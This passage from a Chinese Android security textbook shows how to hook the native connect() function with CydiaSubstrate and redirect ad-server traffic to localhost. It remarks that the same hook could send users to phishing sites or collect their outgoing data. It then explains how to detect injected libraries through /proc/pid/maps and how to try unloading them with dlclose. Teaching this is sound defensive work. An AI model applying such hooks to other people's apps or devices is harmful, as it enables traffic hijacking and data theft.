这个时候我们继续运行程序,进入我们刚才的test应用程序。单击“test”按钮,获取调用JNI中的test函数打印我有多少钱。我们能够在DDMS中清楚地看到,getMoney函数已经被一个名为“replace_getMoney”的函数替换了,其地址也已经被替换了。我们也看到使用替换后的值输出为“I have 999999 money”,如图8-25所示。

图8-25 函数替换后打印的Log

对于Android操作系统我们知道,Java层都是建立在原生C/C++语言上的,特别是针对一些系统级别的API函数。上面我们演示了如何对用户自定义函数进行Hook,下面我们演示一下如何对Native层的系统API进行Hook。

如这里我们希望对系统中的网络请求API进行Hook,然后过滤掉一些广告相关的请求,完成广告拦截功能,其具体的流程如图8-26所示。

这里我们查看Android操作系统的POSIX定义的源码Poxis.Java文件,发现其针对网络请求函数的定义是在native完成的,如图8-27所示。

图8-26 广告拦截流程图

图8-27 Posix.Java文件部分内容截图

对于此类的问题,我们就不得不在native完成Hook与函数替换工作了。所以我们还是使用CydiaSubstrate框架,对系统的API函数connect进行Hook与替换。如下代码所示,我们使用MSHookFunction对native层中的connect函数进行Hook替换至newConnect函数。

#defineLOG_TAG "cydia_native"
#defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
// 初始化CydiaSubstrate MSConfig(MSFilterExecutable, "/system/bin/app_process")
// 原connect函数指针 int*(*oldConnect)(int,
constsockaddr *, socklen_t); int*newConnect(intsocket, constsockaddr *address, socklen_t length) {
  charip[128] = { 0 };   intport = -1;   if(address->sa_family == AF_INET) {     sockaddr_in *address_in = (sockaddr_in*) address;     // 获取 ip     inet_ntop(AF_INET, (void*) (structsockaddr*) &address_in->sin_addr, ip,         128);     // 获取端口     port = ntohs(address_in->sin_port);
    // 过滤掉172.22.156.129的请求     if(strcmp(ip, "172.22.156.129") == 0) {
      LOGI("发现广告请求");       structsockaddr_in my_addr;       intmy_len = sizeof(structsockaddr_in);       bzero(&my_addr, sizeof(my_addr));       my_addr.sin_family = AF_INET;       my_addr.sin_port = htons(80);       my_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
      returnoldConnect(socket, (constsockaddr*) &my_addr,           sizeof(my_addr));     }     returnoldConnect(socket, address, length);
  } }
//初始化 MSInitialize{   MSHookFunction((void*) &connect, (void*) &newConnect,       (void**) &oldConnect); }

这里我们只是简单地将IP为172.22.156.129的请求重定向到本地127.0.0.1,即让类似的广告请求拿不到数据。此类方式的广告过滤属于比较原始暴力类型的过滤方法,但却也简单有效。熟悉connect的读者应该会发现,如果已经能够替换掉connect函数,其实我们能做到的事情远远比拦截一个广告请求大得多,比如跳转至钓鱼网站,收集私密发送数据等。

Hook的目的是为了对目标进程函数的替换和注入,Hook的危害是巨大的,Hook后的应用程序毫无安全可言。其实,自从PC时代起,Hook与反Hook一直就是一个旷日持久的战争。那么对于刚发展不久的Android操作系统安全方向而言,Hook的检测与修复无疑是给Android安全研究人员带来了巨大的挑战。本节我们就具体地看看,就Android操作系统而言,如何检测一个进程是否被Hook了,如何修复被Hook的进程消除其安全隐患。

上面演示了很多的Hook例子,Hook后的应用程序注入与劫持危害是不可估量的。所以,如何识别应用程序被Hook了,如何去除Hook程序也成为了难题。我们先从Hook的原理上来分析,Hook就是在一个目标进程中通过改变函数方法的指向地址,加入一段自定义的代码块。那么,加入一些非本进程的代码逻辑,进程会不会产生一些改变?带着疑问我们直接使用本章之前在浏览器中注入广告的例子查看一下。

1.Java层Hook检测

首先我们使用ps命令查看一下浏览器应用(包名为:com.android.browser)的进程pid,在adb shell模式下输入ps | busybox grep com.android.browser(busybox是一个扩展的命令工具),如图8-28所示。

图8-28 查看浏览器的进程pid

我们这里看见浏览器应用对应的进程pid为5425。

熟悉Android操作系统的朋友应该清楚,Android操作系统继承了Linux操作系统的优点,有一个虚拟文件系统也就是我们常访问的/proc目录,通过它可以使用一种新的方法在Android内核空间和用户空间之间进行通信,即我们能够看到当前进程的一些状态信息。而其中的maps文件又能查看进程的虚拟地址空间是如何使用的。

现在思路已经很清晰了,我们使用命令:

cat /proc/5425/maps | busybox grep /data/dalvik-cache/data@app

查看地址空间中的对应的dex文件有哪些是非系统应用提供的(浏览器是系统应用),即过滤出/data@app(系统应用是/system@app)中的,如图8-29所示。

图8-29 查看5425进程的虚拟地址空间

对应地输出了Dalvik虚拟机载入的非系统应用的dex文件,如图8-30所示。

图8-30 5425进程被加载的用户空间中的dex文件

在图 8-30 中我们清楚地看到,该进程确实被附加了很多非系统的 dex 文件,如 hookad-1. apk@classes.dex、loginhook-2.apk@classes.dex、substrate-1.apk@classes.dex等。如果没有上面的Hook演示,这里我们很难确定这些被附加的代码逻辑是做什么的,当然肯定也不是做什么好事。所以,我们得出结论,此应用已经被Hook,存在安全隐患。

2.native层Hook检测

上面演示了如何检测Java层应用是否被Hook了,对于native层的Hook检测其实原理也是一样的。这里我们对之前的演示的Hook后替换指定应用中的原函数例子做检测(包名为:com.example.testndklib),我们使用ps | busybox grep com.example.testndklib,如图8-31所示。

图8-31 查看com.example.testndklib包进程的详细信息

得到其对应的进程pid为15097,我们直接查看15097进程中的虚拟地址空间加载了哪些第三方的库文件,即过滤处/data/data目录中的,具体命令如图8-32所示。

图8-32 查看15097进程的虚拟地址空间

得到的输出结果如图8-33所示,发现其中多了很多的/com.saurik.substrate下面的动态库,说明该进程也已经被其注入了。所以我们判断com.example.testndklib应用程序已经被Hook,存在不安全的隐患。

图8-33 testndklib包下载入的第三方so库文件

同样的方式,我们能够查看到Zygote进程的运行情况,发现也是被注入了CydiaSubstrate框架的很多so库文件,如图8-34所示。

作为应用程序对自身的检测,也只需要读取对应的进程的虚拟地址空间目录/proc/pid/maps文件,判断当前进程空间中载入的代码库文件是否存在于自己白名单中的,即可判断自身程序是否被Hook。但是,对于zygote进程来说如果没有Root权限,我们是无法访问其maps文件的,那么也就无法判断Hook与否了。

图8-34 zygote进程的虚拟地址空间显示载入的so库文件

如何判断一个进程是否被其他第三方函数库Hook,我们已经知道了。为了让我们的应用程序能够在一个安全可靠的环境中运行,那么我们就必须将这些不速之客从应用程序的进程中剥离出去。

如上面我们演示的testndklib应用程序,我们在adb shell命令模式下查看其进程pid为30210,并根据进程pid查看其对应的进程虚拟地址空间。具体命令如图8-35所示。

图8-35 使用ps | busybox grep查看testndklib的pid

从系统返回的具体结果中我们发现,已经被很多的第三方 Hook 库所加载,这里都是以/com.saurik.substrate开头的substrate框架的动态库,如图8-36所示。

图8-36 testndklib中的虚拟地址空间加载的so库

当然,我们希望除了自身包名(com.example.testndklib)下的其他动态链接全都给删除关闭,且关闭后的应用程序还能够正常地运行。因为所有的第三方库都是通过dlopen后注入的方式附加到应用程序进程中的,这里我们很容易想到我们直接使用 dlclose 将其中的第三方函数挨个卸载关闭即可。

这样一个程序思路就来了,首先扫描/proc/<pid>/maps目录下的所有so库文件,并将自身的动态库文件排除,对于非自身的动态链接库我们全都卸载关闭。对于Java我们无法使用dlclose,所以这里我们还是采用了JNI的方式来完成,具体的操作函数如下所示。

  /**
   * 根据包名与进程pid,删除非包名下的动态库
   * @parampid 进程pid
   * @parampkg 包名
   * @return
   */
publicList<String>removeHooks(intpid, String pkg) {
    List<String> hookLibFile = newArrayList<>();
    // 找到对应进程的虚拟地址空间文件
    File file = newFile("/proc/" + pid + "/maps");
if(!file.exists()) {
returnhookLibFile;
    }
try{       BufferedReader bufferedReader = newBufferedReader(newInputStreamReader (newFileInputStream(file)));       String lineString = null; while((lineString = bufferedReader.readLine()) != null) {         String tempString = lineString.trim();         // 被hook注入的so动态库 if(tempString.contains("/data/data") && !tempString.contains("/data/data/" + pkg)) { intindex = tempString.indexOf("/data/data");           String soPath = tempString.substring(index);           hookLibFile.add(soPath);           // 调用native方法删除so动态库           removeHookSo(soPath);         }       }       bufferedReader.close();     } catch(FileNotFoundException e) {       e.printStackTrace();     } catch(IOException e) {       e.printStackTrace();     } returnhookLibFile;   }
  /**    * 卸载加载的so库    * @paramsoPath so库地址路径    */ publicnativevoidremoveHookSo(String soPath);
// JNI中的removeHookSo卸载一个so的加载 voidJava_com_example_testndklib_MainActivity_removeHookSo(JNIEnv* env,     jobject thiz, jstring path) {   constchar* chars = env->GetStringUTFChars(path, 0);   void* handle = dlopen(chars, RTLD_NOW);   intcount = 4;   inti = 0;   for(i = 0; i < count; i++) {      if(NULL != handle) {        dlclose(handle);      }   } }

在需要卸载的应用程序中调用removeHooks(Process.myPid(), getPackageName())就能够轻松地完成上述的功能。那么是否所有的动态库都被卸载移除了?我们重新查看该应用程序的虚拟地址空间,得到结果如图8-37所示。

图8-37 dlclose后的testndklib虚拟地址空间中的so库

比较后大家都会发现,虽然卸载掉了大部分的so动态链接库,但是还是残余了少许没有被卸载干净,如我们这里剩余的libAndroidBootstrap0.so库还是依然在加载中。对于dlclose函数读者们应该都清楚,dlclose用于关闭指定句柄的动态链接库 ,只有当此动态链接库的使用计数为0时,才会真正被系统卸载。也就是说如果我们手动卸载动态链接库之前,系统已经保持对其的应用的话,我们是无法卸载的。

Hook框架的动态库什么时候加载如何加载我们都不能够得知,所以对非本包的动态链接库卸载也需要实时监测去卸载。且就算卸载也不能够完全地保证系统就没有对相关函数的引用,达到卸载干净的目的。所以,我们得出结论,对于Hook后的应用程序修复在目前来说是一项暂无解决方案的工作。

说到如何识别一个应用程序是否被Hook、修复Hook,我们会发现因为Android操作系统上沙箱(Sandbox)机制的存在,不管我们采用何种方案手段都没有办法完全避免程序被Hook。这个时候我们就需要将我们的目光转到如何防止应用程序被Hook,预防于未然才是主要的解决方案。


相关图书

Android App开发入门与实战
Android App开发入门与实战
Kotlin入门与实战
Kotlin入门与实战
Android 并发开发
Android 并发开发
Android APP开发实战——从规划到上线全程详解
Android APP开发实战——从规划到上线全程详解
Android应用案例开发大全( 第4版)
Android应用案例开发大全( 第4版)
深入理解Android内核设计思想(第2版)(上下册)
深入理解Android内核设计思想(第2版)(上下册)

相关文章

相关课程